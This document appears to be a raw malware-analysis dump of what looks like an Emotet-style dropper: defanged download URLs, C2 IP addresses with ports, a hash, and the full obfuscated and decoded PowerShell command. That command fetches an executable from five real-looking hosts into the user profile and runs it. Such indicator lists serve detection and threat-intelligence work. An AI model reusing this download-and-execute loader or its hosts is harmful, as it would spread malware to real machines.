hxxp://memtreat[.]com/TOn9K51QK1pJ2qI\_SKaebFAz/

hxxp://medongho[.]vn/SVm5yC0s

hxxp://otojack.co[.]id/wp-content/uploads/xvVQc2RzdDhTWswVa

hxxp://ptmmf.co[.]id/uNVMPELTQ\_ldQ

hxxp://potlackariet[.]sk/bXfkJ2SeKd7g

0x3e7030 (15): 189.234.165.149

0x41299a (25): tp://208.78.100.202:8080/ - Malnets

0x412b1a (23): tp://98.186.90.192:443/ - Uncategorised

0x437e92 (44): ttp://73.124.73.90:20/ - Uncategorised

0x4465da (25): tp://78.187.172.138:7080/ - Uncategorised

powershell.exe [2968]

Powershell -e 

$.j.4.C.n.6.J.z.=.(.'.D.'.+.'.A.o.F.K.'.+.'.B.w.V.'.).;.$.n.B.O.K.7.Y.Y.=.n.e.w.-.o.b.j.e.c.t. .N.e.t...W.e.b.C.l.i.e.n.t.;.$.O.h.H.l.C.7.j.t.=.(.'.h.t.t.p.:.'.+.'././.'.+.'.m.e.m.t.r.e.'.+.'.a.t.'.+.'...c.o.m./.T.O.'.+.'.n.9.'.+.'.K.5.'.+.'.1.Q.K.1.p.J.2.q.I.'.+.'.\_.S.K.a.e.b.F.A.z.'.+.'.@.h.'.+.'.t.t.p.:.'.+.'././.m.e.d.o.'.+.'.n.g.h.o...v.'.+.'.n./.S.V.m.5.y.C.0.s.'.+.'.w.\_.C.x.@.h.t.t.p.:./.'.+.'./.o.'.+.'.t.o.j.a.c.k...'.+.'.c.'.+.'.o...'.+.'.i.d.'.+.'./.w.p.-.c.o.'.+.'.n.t.e.n.t./.u.'.+.'.p.l.'.+.'.o.a.d.s./.x.v.'.+.'.V.Q.c.2.R.z.d.D.h.'.+.'.T.W.s.w.V.'.+.'.a.'.+.'.@.h.t.t.'.+.'.p.:././.p.'.+.'.t.m.m.f...c.o...i.'.+.'.d./.u.N.V.M.P.E.L.T.Q.\_.l.'.+.'.d.'.+.'.Q.@.h.t.'.+.'.t.p.:././.p.o.t.l.'.+.'.a.c.k.'.+.'.a.r.i.'.+.'.e.t.'.+.'...s.k./.b.X.f.k.'.+.'.J.'.+.'.2.S.e.K.d.'.+.'.7.'.+.'.g.'.)...S.p.l.i.t.(.'.@.'.).;.$.M.q.D.W.C.T.j.=.(.'.u.w.z.w.'.+.'.2.z.'.).;.$.z.G.8.U.Z.o.8. .=. .(.'.3.1.'.+.'.9.'.).;.$.V.M.Q.N.r.R.K.=.(.'.v.6.7.f.E.j.'.+.'.k.'.+.'.R.'.).;.$.C.H.Z.C.1.E.P.=.$.e.n.v.:.u.s.e.r.p.r.o.f.i.l.e.+.'.\.'.+.$.z.G.8.U.Z.o.8.+.(.'...e.'.+.'.x.e.'.).;.f.o.r.e.a.c.h.(.$.K.b.u.X.J.0. .i.n. .$.O.h.H.l.C.7.j.t.).{.t.r.y.{.$.n.B.O.K.7.Y.Y...D.o.w.n.l.o.a.d.F.i.l.e.(.$.K.b.u.X.J.0.,. .$.C.H.Z.C.1.E.P.).;.$.b.0.U.Y.j.m.P.=.(.'.L.w.R.2.'.+.'.9.'.+.'.R.'.).;.I.f. .(.(.G.e.t.-.I.t.e.m. .$.C.H.Z.C.1.E.P.)...l.e.n.g.t.h. .-.g.e. .4.0.0.0.0.). .{.I.n.v.o.k.e.-.I.t.e.m. .$.C.H.Z.C.1.E.P.;.$.G.A.0.v.L.D.U.m.=.(.'.U.r.Q.M.'.+.'.k.J.'.).;.b.r.e.a.k.;.}.}.c.a.t.c.h.{.}.}.$.c.F.w.t.l.c.R.=.(.'.J.m.E.9.N.'.+.'.J.m.d.'.).;.

$j4Cn6Jz=('D'+'AoFK'+'BwV');$nBOK7YY=new-object Net.WebClient;$OhHlC7jt=('http:'+'//'+'memtre'+'at'+'.com/TO'+'n9'+'K5'+'1QK1pJ2qI'+'\_SKaebFAz'+'@h'+'ttp:'+'//medo'+'ngho.v'+'n/SVm5yC0s'+'w\_Cx@http:/'+'/o'+'tojack.'+'c'+'o.'+'id'+'/wp-co'+'ntent/u'+'pl'+'oads/xv'+'VQc2RzdDh'+'TWswV'+'a'+'@htt'+'p://p'+'tmmf.co.i'+'d/uNVMPELTQ\_l'+'d'+'Q@ht'+'tp://potl'+'ack'+'ari'+'et'+'.sk/bXfk'+'J'+'2SeKd'+'7'+'g').Split('@');$MqDWCTj=('uwzw'+'2z');$zG8UZo8 = ('31'+'9');$VMQNrRK=('v67fEj'+'k'+'R');$CHZC1EP=$env:userprofile+'\'+$zG8UZo8+('.e'+'xe');foreach($KbuXJ0 in $OhHlC7jt){try{$nBOK7YY.DownloadFile($KbuXJ0, $CHZC1EP);$b0UYjmP=('LwR2'+'9'+'R');If ((Get-Item $CHZC1EP).length -ge 40000) {Invoke-Item $CHZC1EP;$GA0vLDUm=('UrQM'+'kJ');break;}}catch{}}$cFwtlcR=('JmE9N'+'Jmd');

C:\Users\Administrator\Desktop\slidemenus.exe

abac88c5e2220d78d2c835e138a6d78a